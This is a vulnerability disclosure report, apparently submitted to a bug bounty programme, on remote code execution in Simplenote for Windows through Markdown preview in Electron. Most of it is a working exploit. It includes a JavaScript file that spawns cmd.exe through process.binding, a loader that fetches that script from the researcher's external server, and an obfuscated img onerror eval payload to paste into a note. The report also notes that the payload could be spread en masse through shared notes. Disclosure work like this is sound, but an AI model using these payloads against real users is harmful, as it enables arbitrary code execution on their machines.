[Simplenote for Windows] Client RCE via External JavaScript Inclusion leveraging Electron

How it was found

Hi,

A carefully crafted injection in the Markdown parser within Simplenote for Windows can be leveraged to achieve remote code execution via an external JavaScript file.

The nature of Simplenote's content sharing system, which makes use of tags containing email addresses, means that an adversary could distribute the following proof of concept en-masse to achieve targeted arbitrary code execution, simply requiring the target to "preview" the Markdown-formatted note.

Steps to reproduce

Prerequisites

A standard remote web server can be used to create a functional proof of concept. For the purposes of this demonstration, please consider ysx.bz the "adversary" server.

Create a new JavaScript file (herein referred to as hackerone-electron.js) in the root directory, such that the path would read: http://ysx.bz/hackerone-electron.js.

External JavaScript file

To prepare our exploit, populate this file with the following JavaScript code:

write("<h1>Simplenote RCE via Electron - Windows - ysx</h1>");
write("<h3>Proof of concept in progress: popping <pre>netplwiz</pre>. Please stand by!</h3>");
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Encoding and exploitation

Next, please open a JavaScript eval encoder and encode the following payload, modifying the JavaScript source URL as appropriate. This will be used within an <img> tag as part of the crafted note.

var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://ysx.bz/hackerone-electron.js'; document.body.appendChild(js);

The above example should encode as follows:

eval(String.fromCharCode(118,97,114,32,106,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,106,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,32,106,115,46,115,114,99,32,61,32,39,104,116,116,112,58,47,47,121,115,120,46,98,122,47,104,97,99,107,101,114,111,110,101,45,101,108,101,99,116,114,111,110,46,106,115,39,59,32,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,106,115,41,59))

Next, create a new Markdown note within Simplenote for Windows, and paste the following <img> tag code.

## Test Note
### HackerOne Windows RCE PoC - pops "netplwiz"

<img src=x onerror=eval(String.fromCharCode(118,97,114,32,106,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,106,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,32,106,115,46,115,114,99,32,61,32,39,104,116,116,112,58,47,47,121,115,120,46,98,122,47,104,97,99,107,101,114,111,110,101,45,101,108,101,99,116,114,111,110,46,106,115,39,59,32,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,106,115,41,59))>

Upon selecting the Preview option of the Markdown note, the JavaScript will be executed. After several seconds, the netplwiz executable will launch on your Windows system.

Supporting evidence

{F240684}

{F240685}

Verified conditions

At the time of testing, I have successfully confirmed exploitability in the following environment:

• Simplenote for Windows 1.0.8
• Windows 10 x64 Home Edition

Thanks,

Yasin